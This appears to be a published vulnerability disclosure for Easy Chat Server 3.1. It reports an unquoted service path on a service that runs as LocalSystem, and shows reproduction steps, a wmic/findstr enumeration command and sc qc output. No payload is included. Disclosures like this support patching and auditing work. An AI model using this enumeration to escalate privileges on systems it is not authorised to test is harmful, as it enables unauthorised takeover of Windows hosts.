Exploit Title: Easy Chat Server v3.1 - 'Easy Chat Service' Unquoted Service Path
Exploit Author: boku
Date: 02/10/2020
Vendor Homepage: http://www.echatserver.com/
Software Link: http://www.echatserver.com/ecssetup.exe
Version: 3.1
Tested On: Windows 10 (32-bit)
# Recreate:
#    1) Download & install Easy Chat Server 3.1
#    2) Open Easy Chat Server and click the 'Service...' Button on the bottom right
#    3) Click 'Install Service' Button

C:\Users\elaglor>wmic service get name, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
Easy Chat Service       C:\EFS Software\Easy Chat Server\ecsService.exe            Auto

C:\Users\elaglor>sc qc "Easy Chat Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Easy Chat Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\EFS Software\Easy Chat Server\ecsService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Easy Chat Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem